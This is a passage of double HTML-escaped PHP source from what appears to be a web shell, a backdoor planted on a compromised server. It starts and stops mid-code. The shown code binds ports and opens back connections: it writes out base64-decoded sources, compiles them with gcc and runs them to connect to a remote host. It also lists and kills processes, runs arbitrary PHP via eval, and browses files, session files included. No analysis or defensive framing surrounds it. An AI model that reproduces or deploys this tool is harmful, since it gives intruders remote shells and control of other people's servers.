     else {echo &amp;quot;Binding... ok! Connect to &amp;lt;b&amp;gt;&amp;quot;.$SERVER_ADDR.&amp;quot;:&amp;quot;.$bind[&amp;quot;port&amp;quot;].&amp;quot;&amp;lt;/b&amp;gt;! You should use NetCat&amp;amp;copy;, run \&amp;quot;&amp;lt;b&amp;gt;nc -v &amp;quot;.$SERVER_ADDR.&amp;quot; &amp;quot;.$bind[&amp;quot;port&amp;quot;].&amp;quot;&amp;lt;/b&amp;gt;\&amp;quot;!&amp;lt;center&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ps_aux&amp;amp;grep=&amp;quot;.basename($binpath).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;View binder's process&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
    }&lt;br /&gt;
    echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  if (!empty($bcsubmit))&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;Result of back connection:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   $v = $bcsrcs[$bc[&amp;quot;src&amp;quot;]];&lt;br /&gt;
   if (empty($v)) {echo &amp;quot;Unknown file!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $srcpath = $tmpdir.$bc[&amp;quot;src&amp;quot;];&lt;br /&gt;
    $w = explode(&amp;quot;.&amp;quot;,$bc[&amp;quot;src&amp;quot;]);&lt;br /&gt;
    $ext = $w[count($w)-1];&lt;br /&gt;
    unset($w[count($w)-1]);&lt;br /&gt;
    $binpath = $tmpdir.join(&amp;quot;.&amp;quot;,$w);&lt;br /&gt;
    if ($ext == &amp;quot;pl&amp;quot;) {$binpath = $srcpath;}&lt;br /&gt;
    @unlink($srcpath);&lt;br /&gt;
    $fp = fopen($srcpath,&amp;quot;ab+&amp;quot;);&lt;br /&gt;
    if (!$fp) {echo &amp;quot;Can't write sources to \&amp;quot;&amp;quot;.$srcpath.&amp;quot;\&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     $data = base64_decode($bndsrcs[$bind[src]]);&lt;br /&gt;
     fwrite($fp,$data,strlen($data));&lt;br /&gt;
     fclose($fp);&lt;br /&gt;
     if ($ext == &amp;quot;c&amp;quot;) {$retgcc = myshellexec(&amp;quot;gcc -o &amp;quot;.$binpath.&amp;quot; &amp;quot;.$srcpath); @unlink($srcpath);}&lt;br /&gt;
     $v[1] = str_replace(&amp;quot;%path&amp;quot;,$binpath,$v[1]);&lt;br /&gt;
     $v[1] = str_replace(&amp;quot;%host&amp;quot;,$bc[&amp;quot;host&amp;quot;],$v[1]);&lt;br /&gt;
     $v[1] = str_replace(&amp;quot;%port&amp;quot;,$bc[&amp;quot;port&amp;quot;],$v[1]);&lt;br /&gt;
     $v[1] = str_replace(&amp;quot;//&amp;quot;,&amp;quot;/&amp;quot;,$v[1]);&lt;br /&gt;
     $retbind = myshellexec($v[1].&amp;quot; &amp;gt; /dev/null &amp;amp;&amp;quot;);&lt;br /&gt;
     echo &amp;quot;Now script try connect to &amp;quot;.$bc[&amp;quot;host&amp;quot;].&amp;quot;:&amp;quot;.$bc[&amp;quot;port&amp;quot;].&amp;quot;...&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  ?&amp;gt;&amp;lt;b&amp;gt;Binding port:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;bind&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $d; ?&amp;gt;&amp;quot;&amp;gt;Port: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;bind[port]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($bind[&amp;quot;port&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;Password: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;bind[pass]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($bind[&amp;quot;pass&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;select name=&amp;quot;bind[src]&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
foreach($bndportsrcs as $k=&amp;gt;$v) {echo &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.$k.&amp;quot;\&amp;quot;&amp;quot;; if ($k == $bind[&amp;quot;src&amp;quot;]) {echo &amp;quot; selected&amp;quot;;} echo &amp;quot;&amp;gt;&amp;quot;.$v[0].&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;}&lt;br /&gt;
?&amp;gt;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;bindsubmit&amp;quot; value=&amp;quot;Bind&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Back connection:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;bind&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $d; ?&amp;gt;&amp;quot;&amp;gt;HOST: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;bc[host]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($bc[&amp;quot;host&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;Port: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;bc[port]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($bc[&amp;quot;port&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;select name=&amp;quot;bc[src]&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
foreach($bcsrcs as $k=&amp;gt;$v) {echo &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.$k.&amp;quot;\&amp;quot;&amp;quot;; if ($k == $bc[&amp;quot;src&amp;quot;]) {echo &amp;quot; selected&amp;quot;;} echo &amp;quot;&amp;gt;&amp;quot;.$v[0].&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;}&lt;br /&gt;
?&amp;gt;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;bcsubmit&amp;quot; value=&amp;quot;Connect&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&lt;br /&gt;
Click &amp;quot;Connect&amp;quot; only after open port for it. You should use NetCat&amp;amp;copy;, run &amp;quot;&amp;lt;b&amp;gt;nc -l -n -v -p &amp;amp;lt;port&amp;amp;gt;&amp;lt;/b&amp;gt;&amp;quot;!&amp;lt;?php&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;ps_aux&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;Processes:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if ($win) {echo &amp;quot;This function not work in Windows!&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  if ($pid)&lt;br /&gt;
  {&lt;br /&gt;
   if (!$sig) {$sig = 9;}&lt;br /&gt;
   echo &amp;quot;Sending signal &amp;quot;.$sig.&amp;quot; to #&amp;quot;.$pid.&amp;quot;... &amp;quot;;&lt;br /&gt;
   $ret = posix_kill($pid,$sig);&lt;br /&gt;
   if ($ret) {echo &amp;quot;ok. he is dead, amen.&amp;quot;;}&lt;br /&gt;
   else {echo &amp;quot;ERROR.&amp;quot;;}&lt;br /&gt;
  }&lt;br /&gt;
  $ret = myshellexec(&amp;quot;ps -aux&amp;quot;);&lt;br /&gt;
  if (!$ret) {echo &amp;quot;Can't execute \&amp;quot;ps -aux\&amp;quot;!&amp;quot;;}&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $ret = htmlspecialchars($ret);&lt;br /&gt;
   while (ereg(&amp;quot;  &amp;quot;,$ret)) {$ret = str_replace(&amp;quot;  &amp;quot;,&amp;quot; &amp;quot;,$ret);}&lt;br /&gt;
   $stack = explode(&amp;quot;\n&amp;quot;,$ret);&lt;br /&gt;
   $head = explode(&amp;quot; &amp;quot;,$stack[0]);&lt;br /&gt;
   unset($stack[0]);&lt;br /&gt;
   if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;}&lt;br /&gt;
   if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;}&lt;br /&gt;
   $k = $ps_aux_sort[0];&lt;br /&gt;
   if ($ps_aux_sort[1] != &amp;quot;a&amp;quot;) {$y = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;ps_aux_sort=&amp;quot;.$k.&amp;quot;a\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_desc\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   else {$y = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;ps_aux_sort=&amp;quot;.$k.&amp;quot;d\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_asc\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   for($i=0;$i&amp;lt;count($head);$i++)&lt;br /&gt;
   {&lt;br /&gt;
    if ($i != $k) {$head[$i] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;ps_aux_sort=&amp;quot;.$i.$ps_aux_sort[1].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$head[$i].&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   $prcs = array();&lt;br /&gt;
   foreach ($stack as $line)&lt;br /&gt;
   {&lt;br /&gt;
    if (!empty($line))&lt;br /&gt;
	{&lt;br /&gt;
	 echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
     $line = explode(&amp;quot; &amp;quot;,$line);&lt;br /&gt;
     $line[10] = join(&amp;quot; &amp;quot;,array_slice($line,10,count($line)));&lt;br /&gt;
     $line = array_slice($line,0,11);&lt;br /&gt;
     if ($line[0] == get_current_user()) {$line[0] = &amp;quot;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;quot;.$line[0].&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
     $line[] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ps_aux&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;pid=&amp;quot;.$line[1].&amp;quot;&amp;amp;sig=9\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;KILL&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     $prcs[] = $line;&lt;br /&gt;
     echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   $head[$k] = &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$head[$k].&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;.$y;&lt;br /&gt;
   $head[] = &amp;quot;&amp;lt;b&amp;gt;ACTION&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $v = $ps_aux_sort[0];&lt;br /&gt;
   usort($prcs,&amp;quot;tabsort&amp;quot;);&lt;br /&gt;
   if ($ps_aux_sort[1] == &amp;quot;d&amp;quot;) {$prcs = array_reverse($prcs);}&lt;br /&gt;
   $tab = array();&lt;br /&gt;
   $tab[] = $head;&lt;br /&gt;
   $tab = array_merge($tab,$prcs);&lt;br /&gt;
   echo &amp;quot;&amp;lt;TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;100%\&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\&amp;quot;#C0C0C0\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
   foreach($tab as $k)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
    foreach($k as $v) {echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;eval&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if (!empty($eval))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Result of execution this PHP-code&amp;lt;/b&amp;gt;:&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  $tmp = ob_get_contents();&lt;br /&gt;
  $olddir = realpath(&amp;quot;.&amp;quot;);&lt;br /&gt;
  @chdir($d);&lt;br /&gt;
  if ($tmp)&lt;br /&gt;
  {&lt;br /&gt;
   ob_clean();&lt;br /&gt;
   eval($eval);&lt;br /&gt;
   $ret = ob_get_contents();&lt;br /&gt;
   $ret = convert_cyr_string($ret,&amp;quot;d&amp;quot;,&amp;quot;w&amp;quot;);&lt;br /&gt;
   ob_clean();&lt;br /&gt;
   echo $tmp;&lt;br /&gt;
   if ($eval_txt)&lt;br /&gt;
   {&lt;br /&gt;
    $rows = count(explode(&amp;quot;\r\n&amp;quot;,$ret))+1;&lt;br /&gt;
    if ($rows &amp;lt; 10) {$rows = 10;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;textarea cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;&amp;quot;.$rows.&amp;quot;\&amp;quot; readonly&amp;gt;&amp;quot;.htmlspecialchars($ret).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   else {echo $ret.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   if ($eval_txt)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;textarea cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;15\&amp;quot; readonly&amp;gt;&amp;quot;;&lt;br /&gt;
    eval($eval);&lt;br /&gt;
    echo &amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   else {echo $ret;}&lt;br /&gt;
  }&lt;br /&gt;
  @chdir($olddir);&lt;br /&gt;
 }&lt;br /&gt;
 else {echo &amp;quot;&amp;lt;b&amp;gt;Execution PHP-code&amp;lt;/b&amp;gt;&amp;quot;; if (empty($eval_txt)) {$eval_txt = true;}}&lt;br /&gt;
 echo &amp;quot;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;textarea name=\&amp;quot;eval\&amp;quot; cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;10\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($eval).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;d\&amp;quot; value=\&amp;quot;&amp;quot;.$dispd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Execute\&amp;quot;&amp;gt;&amp;amp;nbsp;Display in text-area&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;eval_txt\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;quot;; if ($eval_txt) {echo &amp;quot; checked&amp;quot;;} echo &amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;f&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != &amp;quot;edit&amp;quot;)&lt;br /&gt;
 {&lt;br /&gt;
  if (file_exists($d.$f)) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Permision denied (&amp;quot;.htmlspecialchars($d.$f).&amp;quot;)!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;File does not exists (&amp;quot;.htmlspecialchars($d.$f).&amp;quot;)!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=edit&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;c=1\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;Create&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $r = @file_get_contents($d.$f);&lt;br /&gt;
  $ext = explode(&amp;quot;.&amp;quot;,$f);&lt;br /&gt;
  $c = count($ext)-1;&lt;br /&gt;
  $ext = $ext[$c];&lt;br /&gt;
  $ext = strtolower($ext);&lt;br /&gt;
  $rft = &amp;quot;&amp;quot;;&lt;br /&gt;
  foreach($ftypes as $k=&amp;gt;$v) {if (in_array($ext,$v)) {$rft = $k; break;}}&lt;br /&gt;
  if (eregi(&amp;quot;sess_(.*)&amp;quot;,$f)) {$rft = &amp;quot;phpsess&amp;quot;;}&lt;br /&gt;
  if (empty($ft)) {$ft = $rft;}&lt;br /&gt;
  $arr = array(&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_diz\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;info&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_html\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;html&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_txt\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;txt&amp;quot;),&lt;br /&gt;
   array(&amp;quot;Code&amp;quot;,&amp;quot;code&amp;quot;),&lt;br /&gt;
   array(&amp;quot;Session&amp;quot;,&amp;quot;phpsess&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_exe\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;exe&amp;quot;),&lt;br /&gt;
   array(&amp;quot;SDB&amp;quot;,&amp;quot;sdb&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_gif\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;img&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_ini\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;ini&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=download\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;download&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_rtf\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;notepad&amp;quot;),&lt;br /&gt;
   array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=change\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;edit&amp;quot;)&lt;br /&gt;
  );&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Viewing file:&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_&amp;quot;.$ext.&amp;quot;\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;quot;.$f.&amp;quot; (&amp;quot;.view_size(filesize($d.$f)).&amp;quot;) &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;.view_perms_color($d.$f).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Select action/file-type:&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  foreach($arr as $t)&lt;br /&gt;
  {&lt;br /&gt;
   if ($t[1] == $rft) {echo &amp;quot; &amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=&amp;quot;.$t[1].&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;quot;.$t[0].&amp;quot;&amp;lt;/font&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   elseif ($t[1] == $ft) {echo &amp;quot; &amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=&amp;quot;.$t[1].&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;&amp;quot;.$t[0].&amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   else {echo &amp;quot; &amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=&amp;quot;.$t[1].&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$t[0].&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   echo &amp;quot; (&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=&amp;quot;.$t[1].&amp;quot;&amp;amp;white=1&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot; target=\&amp;quot;_blank\&amp;quot;&amp;gt;+&amp;lt;/a&amp;gt;) |&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
  if ($ft == &amp;quot;info&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;Information:&amp;lt;/b&amp;gt;&amp;lt;table border=0 cellspacing=1 cellpadding=2&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Path&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.$d.$f.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Size&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.view_size(filesize($d.$f)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;MD5&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.md5_file($d.$f).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
   if (!$win)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Owner/Group&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;;      &lt;br /&gt;
    $tmp = posix_getpwuid(fileowner($d.$f));&lt;br /&gt;
    if ($tmp[&amp;quot;name&amp;quot;] == &amp;quot;&amp;quot;) {echo fileowner($d.$f).&amp;quot;/&amp;quot;;}&lt;br /&gt;
    else {echo $tmp[&amp;quot;name&amp;quot;].&amp;quot;/&amp;quot;;}&lt;br /&gt;
    $tmp = posix_getgrgid(filegroup($d.$f));&lt;br /&gt;
    if ($tmp[&amp;quot;name&amp;quot;] == &amp;quot;&amp;quot;) {echo filegroup($d.$f);}&lt;br /&gt;
    else {echo $tmp['name'];}&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Perms&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=chmod&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.view_perms_color($d.$f).&amp;quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Create time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,filectime($d.$f)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Access time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,fileatime($d.$f)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;MODIFY time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,filemtime($d.$f)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   $fi = fopen($d.$f,&amp;quot;rb&amp;quot;);&lt;br /&gt;
   if ($fi)&lt;br /&gt;
   {&lt;br /&gt;
